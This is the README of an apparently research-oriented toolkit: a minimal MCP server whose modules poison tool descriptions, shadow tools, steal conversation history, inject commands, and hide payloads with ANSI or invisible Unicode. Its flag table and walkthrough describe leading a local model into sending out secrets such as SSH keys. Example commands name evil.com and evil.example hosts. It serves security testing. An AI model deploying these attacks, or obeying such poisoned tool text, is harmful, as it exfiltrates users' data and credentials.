📖 Docs site: https://crashoz.github.io/mcp-exploit-tools/ — the exploit write-ups, rendered.
A minimal, low-level MCP server with zero third-party dependencies (Python standard
library only — no mcp SDK, no FastMCP, no web framework), organised as a small package of
single-purpose modules.
It is the foundation for a toolkit aimed at security researchers testing exploits against MCP servers and the clients/hosts that connect to them. Because there is no SDK between you and the wire, every JSON-RPC message is under your direct control and any layer can be mutated to craft adversarial / non-spec-compliant behaviour.
- Protocol: MCP
2025-11-25(current stable revision). - Transports: stdio and Streamable HTTP.
- Primitives: tools, resources, prompts.
- Requirements: Python 3.10+. No installation, no
pip.
# stdio transport (the default) — what local MCP clients launch:
python3 server.py # or: python3 -m mcpserver
# List the available exploit modules:
python3 server.py --list-exploits
# Streamable HTTP transport:
python3 server.py --transport http --host 127.0.0.1 --port 8000
# Add --trace to any of the above to log every raw message to stderr.
python3 server.py --trace| Flag | Default | Meaning |
|---|---|---|
--transport {stdio,http} |
stdio |
Which transport to serve. |
--host |
127.0.0.1 |
HTTP bind host. Anything non-local prints a warning. |
--port |
8000 |
HTTP bind port. |
--path |
/mcp |
HTTP endpoint path. |
--trace |
off | Log every inbound (>>) / outbound (<<) raw message to stderr. |
--insecure |
off | HTTP: disable Origin + session checks (the vulnerable config). |
--strict |
off | Enforce lifecycle: reject requests issued before initialization. |
--list-exploits |
— | List the available exploit modules (slug, name, tools) and exit. |
--enable A,B |
data-exfil |
Enable these exploit modules by slug, or all for every module. |
--disable A,B |
none | Disable these exploit modules, by slug. |
--no-demo |
off | Don't register the benign demo tools/resources/prompts. |
--loot-file PATH |
./loot/exfiltrated.jsonl |
Where captured data is written (overrides MCP_EXFIL_LOOT). |
--webhook URL |
off | Also POST each captured payload here (overrides MCP_EXFIL_WEBHOOK). |
--shadow-bcc ADDR |
security-archive@… |
tool-shadowing: attacker BCC injected into emails. |
--shadow-target-tool NAME |
send_email |
tool-shadowing: the trusted email tool to hijack. |
--cht-triggers P1,P2 |
thank you,… |
conversation-theft: phrases that fire the exfil. |
--cmdi-live |
off (dry-run) | command-injection: actually execute the built command (real RCE; lab/VM only). |
--ii-collector HOST |
telemetry-collector.example |
indirect-injection: attacker exfil host the hidden beacon targets. |
--atpa-demand TEXT |
env + ~/.ssh/id_rsa |
output-poisoning: what the fake error/result coerces the model to hand over. |
--ansi-method {overwrite,color,conceal} |
overwrite |
ansi-deception: how the description hides its payload from the terminal. |
--unicode-method {tag,zero-width,bidi} |
tag |
unicode-concealment: how the description hides its payload in invisible Unicode. |
The Streamable HTTP transport (mcpserver/streamable_http.py) implements the checks the spec calls for, each visible in the source and toggleable so you can compare secure vs. vulnerable behaviour:
- Origin validation (DNS-rebinding guard): a request carrying a non-localhost
Originheader is rejected with403. Disable with--insecure. - Session enforcement:
initializemints anMcp-Session-Id; any other request with a missing/unknown session id is rejected with404. Disable with--insecure. - Bind address: defaults to
127.0.0.1;--host 0.0.0.0is allowed but warns. - Lifecycle ordering:
--strictrejects non-initialize/pingrequests before thenotifications/initializedhandshake (lenient by default, so it can be exercised).
Adversarial modules live in mcpserver/exploits/, catalogued in mcpserver/exploits/init.py. Each is documented under docs/exploits/.
| Slug | Exploit | Tool(s) | Write-up |
|---|---|---|---|
data-exfil |
Data exfiltration via tool-description poisoning (TPA) | context_sync |
docs/exploits/data-exfiltration.md |
tool-shadowing |
Tool shadowing / cross-server hijack | add_numbers + send_email |
docs/exploits/tool-shadowing.md |
conversation-theft |
Conversation-history theft (triggered sleeper) | log_feedback |
docs/exploits/conversation-history-theft.md |
command-injection |
Command injection (deliberately vulnerable tool) | net_diagnostic |
docs/exploits/command-injection.md |
full-schema-poisoning |
Line jumping / full-schema poisoning (FSP) | summarize_text |
docs/exploits/full-schema-poisoning.md |
indirect-injection |
Indirect prompt injection (external-content trigger) | fetch_url |
docs/exploits/indirect-injection.md |
output-poisoning |
Universal output poisoning (ATPA) | get_weather |
docs/exploits/output-poisoning.md |
ansi-deception |
ANSI escape-code deception | system_check |
docs/exploits/ansi-deception.md |
unicode-concealment |
Invisible Unicode concealment (zero-width / bidi / tag chars) | health_report |
docs/exploits/unicode-concealment.md |
By default only data-exfil is enabled — its context_sync tool shows up in tools/list
next to the demo tools. Enable the others (or all of them) and tune them from the CLI:
python3 server.py --list-exploits # see slugs, names, tools
python3 server.py # default: only data-exfil (context_sync)
python3 server.py --enable all # every exploit module
python3 server.py --enable tool-shadowing,command-injection # just these two
python3 server.py --enable all --disable command-injection # all but command-injection
python3 server.py --enable tool-shadowing --shadow-bcc me@evil.com --webhook http://127.0.0.1:9000/ # enable + tune + relayThe exfil sink writes captured data to loot/exfiltrated.jsonl by default (--loot-file /
MCP_EXFIL_LOOT to change); --webhook / MCP_EXFIL_WEBHOOK also POSTs it to a URL (off by
default — no network otherwise). To catch those POSTs locally, run the bundled stdlib
collector — python3 webhook_collector.py — and point --webhook at it.
The full exploit backlog — grouped by type and scored (severity/impact/occurrence/difficulty) — lives in PROGRESS.md.
You don't have to hand-write JSON-RPC to see an exploit land — point a real local model at
the malicious server and watch it fire end-to-end. The full
local-LLM walkthrough uses Ollama +
ollmcp with a tiny, CPU-friendly model —
no API keys, no GPU. The short version:
ollama pull qwen2.5:1.5b # ~1 GB model, runs on CPU
pip install -r requirements-demo.txt # the ollmcp MCP host
ollmcp --servers-json mcp-host.json --model qwen2.5:1.5b # run from the repo rootollmcp launches python3 server.py over stdio, calls tools/list, and hands the schemas to
the model — at which point the poisoned description is sitting inside the model's context.
Ask any ordinary question: the model calls the exfil tool on its own (ollmcp shows an approval
prompt by default, so you can watch the leak get offered before it happens). Inspect
loot/exfiltrated.jsonl — or a --webhook endpoint — to confirm what left the room. The smaller
the model, the more readily it obeys; that's the finding.
The default flow, straight from data_exfiltration.py:
flowchart TD
SERVER["malicious MCP server · server.py<br/>advertises context_sync — its description<br/>secretly orders the model to forward everything"]
SERVER -->|"tools/list — the ollmcp host hands<br/>the tool schemas to the model"| MODEL["local model · qwen2.5:1.5b<br/>reads the description as instructions;<br/>cannot separate trusted text from attacker text"]
MODEL -->|"tools/call context_sync<br/>{ conversation, secrets, … }"| SINK["handler · sink.capture(…)<br/>→ loot/exfiltrated.jsonl (+ optional webhook POST)<br/>returns: Session registered … Sync complete."]
SINK --> REPLY["model answers the user normally —<br/>nothing on screen reveals the leak"]
classDef danger fill:#cc241d,stroke:#fb4934,color:#fbf1c7
classDef benign fill:#98971a,stroke:#b8bb26,color:#fbf1c7
classDef model fill:#458588,stroke:#83a598,color:#fbf1c7
class SERVER danger
class SINK danger
class MODEL model
class REPLY benign
Full mechanism, why it works, and defenses: docs/exploits/data-exfiltration.md.
mcp-exploit-tools/
server.py # thin entry shim → mcpserver.cli:main
webhook_collector.py # stdlib collector for --webhook exfil POSTs (optional)
mcpserver/
__init__.py # public API: MCPServer, tool, resource, prompt, ...
__main__.py # enables `python3 -m mcpserver`
constants.py # protocol version, server info, JSON-RPC error codes
tracing.py # stderr logging + raw `>>`/`<<` message tracing
registry.py # TOOLS/RESOURCES/PROMPTS + @tool/@resource/@prompt
protocol.py # JsonRpcError + MCPServer (lifecycle, dispatch)
stdio.py # stdio transport
streamable_http.py # Streamable HTTP transport + security checks
demo.py # benign example tools/resources/prompts (+ exploit marker)
cli.py # argparse + main()
exploits/ # adversarial modules — one per exploit
__init__.py # CATALOG + --enable/--disable selection
sink.py # shared capture sink (loot file + optional webhook)
data_exfiltration.py # … one module per exploit (see the Exploits table)
docs/ # MkDocs site — one write-up per exploit
PROGRESS.md # scored exploit roadmap / backlog
CONTRIBUTING.md # how to contribute + add an exploit module
LICENSE.md # MIT
README.md
Two seams:
- Registries — register tools/resources/prompts with the
@tool,@resource,@promptdecorators from mcpserver/registry.py. Benign examples in mcpserver/demo.py register on import. An exploit module instead exposesSLUG/NAME/TOOLS, aregister(args)that registers its tools, and an optionaladd_arguments(parser)for fine-tuning flags — then is added toCATALOGin mcpserver/exploits/init.py so--enable/--disableand--list-exploitspick it up (copy data_exfiltration.py as a template). Tool handlers may return a fullCallToolResultdict, so you have complete control over advertised metadata and results (poisoned descriptions, hidden instructions, mismatched output). MCPServer.dispatch— subclassMCPServerin mcpserver/protocol.py and overridedispatch()to emit raw, non-spec-compliant messages (wrong ids, duplicate responses, oversized payloads, etc.).
Programmatic use:
from mcpserver import MCPServer, tool
@tool("ping_back", "Echoes a nonce", {"type": "object", "additionalProperties": True})
def _h(args): return args
print(MCPServer().dispatch({"jsonrpc": "2.0", "id": 1, "method": "tools/list"}))python3 server.py --trace <<'EOF'
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-11-25","capabilities":{},"clientInfo":{"name":"c","version":"0"}}}
{"jsonrpc":"2.0","method":"notifications/initialized"}
{"jsonrpc":"2.0","id":2,"method":"tools/list"}
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"echo","arguments":{"text":"hi"}}}
{"jsonrpc":"2.0","id":4,"method":"resources/list"}
{"jsonrpc":"2.0","id":5,"method":"prompts/list"}
EOF# Start the server in one shell:
python3 server.py --transport http --trace
# initialize — note the Mcp-Session-Id response header:
curl -i -sS http://127.0.0.1:8000/mcp \
-H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-11-25","capabilities":{},"clientInfo":{"name":"curl","version":"0"}}}'
# tools/call using the captured session id:
curl -sS http://127.0.0.1:8000/mcp -H 'Mcp-Session-Id: <id>' \
-H 'MCP-Protocol-Version: 2025-11-25' -H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"echo","arguments":{"text":"hi"}}}'
# SSE stream (stays open; you should see ": connected" then ": keepalive"):
curl -N http://127.0.0.1:8000/mcp -H 'Mcp-Session-Id: <id>' -H 'Accept: text/event-stream'
# Security checks — expect 403 (bad Origin) and 404 (bad/missing session):
curl -i -sS http://127.0.0.1:8000/mcp -H 'Origin: http://evil.example' \
-H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":9,"method":"ping"}'
curl -i -sS http://127.0.0.1:8000/mcp -H 'Mcp-Session-Id: nope' \
-H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":9,"method":"ping"}'
# Re-run the bad-Origin call against a server started with --insecure → now 200.Contributions are welcome — bug reports, new exploit modules, and doc improvements. See CONTRIBUTING.md for setup, conventions, and a step-by-step guide to adding an exploit module. Note the responsible-use expectations: this is a toolkit for defenders, researchers, and CTF/lab use — only run it against systems you own or are authorized to test.
MIT © Xavier 'crashoz' Launey.